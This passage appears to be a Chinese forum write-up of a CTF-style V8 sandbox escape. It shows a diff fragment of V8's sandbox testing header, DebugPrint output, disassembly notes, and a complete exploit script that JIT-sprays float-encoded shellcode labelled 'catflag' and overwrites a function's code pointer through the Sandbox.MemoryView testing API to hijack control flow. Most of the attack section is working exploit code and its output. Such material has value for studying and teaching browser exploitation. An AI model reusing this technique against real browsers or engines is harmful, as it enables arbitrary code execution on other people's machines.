+  V8_EXPORT_PRIVATE static void Install(Isolate* isolate);
+};
+
+//#endif  // V8_EXPOSE_MEMORY_CORRUPTION_API
+
+}  // namespace internal
+}  // namespace v8
+
+#endif  // V8_SANDBOX_TESTING_H_

漏洞利用

这里已经具有了沙箱内任意读写的能力,所以也不需要再构造addressOf和fakeObject原语,现在需要思考的应该是如何成功地沙箱逃逸

一个技巧是通过这个办法构造越界读写原语,这样可以调用DataView的方法去直接4/8字节操作内存

1
var mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));

还是可以采用立即数shellcode,配合JIT Spray实现沙箱逃逸

对于这样一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
// catflag
const shellcode = () => {return [
    1.0,
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 40000; i++){
    shellcode();
}
 
p(shellcode);
stop();
shellcode();

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
DebugPrint: 0x1d8308343625: [Function] in OldSpace
 - map: 0x1d83082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1d83081c2861 <JSFunction (sfi = 0x1d8308146275)>
 - elements: 0x1d8308002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x1d83081d1b31 <SharedFunctionInfo shellcode>
 - name: 0x1d83081d18b1 <String[9]: #shellcode>
 - builtin: InterpreterEntryTrampoline
 - formal_parameter_count: 0
 - kind: ArrowFunction
 - context: 0x1d83081d1d19 <ScriptContext[3]>
 - code: 0x1d8300004e81 <Code BUILTIN InterpreterEntryTrampoline>
 - interpreted
 - bytecode: 0x1d83081d1fe1 <BytecodeArray[5]>
 - source code: () => {return [
    1.0,
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 - properties: 0x1d8308002249 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1d8308004cc9: [String] in ReadOnlySpace: #length: 0x1d8308144449 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x1d8308004f11: [String] in ReadOnlySpace: #name: 0x1d8308144405 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: 0x1d83081d2019: [FeedbackVector] in OldSpace
 - map: 0x1d830800272d <Map>
 - length: 1
 - shared function info: 0x1d83081d1b31 <SharedFunctionInfo shellcode>
 - no optimized code
 - optimization marker: OptimizationMarker::kNone
 - optimization tier: OptimizationTier::kNone
 - invocation count: 21658
 - profiler ticks: 0
 - closure feedback cell array: 0x1d83080033e9: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x1d8308002971 <Map>
 - length: 0
 
 - slot #0 Literal  {
     [0]: 0x1d83081d20d5 <AllocationSite>
  }
0x1d83082022c1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - callable
 - back pointer: 0x1d83080023d1 <undefined>
 - prototype_validity cell: 0x1d8308144515 <Cell value= 1>
 - instance descriptors (own) #2: 0x1d83081c295d <DescriptorArray[2]>
 - prototype: 0x1d83081c2861 <JSFunction (sfi = 0x1d8308146275)>
 - constructor: 0x1d8308002251 <null>
 - dependent code: 0x1d83080021d1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

这里只需要修改code 字段,就可以劫持控制流,这里修改成0x41414141,gdb里执行set {int}0x1d830834363c=0x4141414141 ,执行发现此时的RCX=R14+0x41414141,意味着我们可以劫持rip具体值,通过修改code字段

注意下方的汇编,提取出来是这样。这里只要劫持rcx的值就是任意指令执行,需要执行的指令位于rcx+0x3f,同时需要绕过条件[rcx+0x1b] & 0x20000000 = 0

@rcx = r14 = sandbox base
test   dword ptr [rcx + 0x1b], 0x20000000
jne    0x1d8307e82081
add    rcx, 0x3f 
jmp    rcx

绕过dword ptr [rcx + 0x1b], 0x20000000的方法,shellcode最前面加一个1.0就可以,

1
2
3
4
5
6
7
8
9
10
// catflag
const shellcode = () => {return [
    1.0,
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}

然后后面就是修改code为我们shellcode位于的位置-0x3f

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
var mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
 
function addressOf(obj){
    return Sandbox.getAddressOf(obj);
}
 
function AAR(addr){
    return mem.getUint32(addr, true);
}
function AAW(addr,val){
    mem.setUint32(addr, val, true);
}
 
const shellcode = () => {return [
    1.0,
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 40000; i++){
    shellcode();
}
 
// p(shellcode);
 
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0x18);
var ins_base = code_addr+0xb3-0x3f;
AAW(shellcode_addr+0x18,ins_base);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
 
// stop();
shellcode();
 
// spin();


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回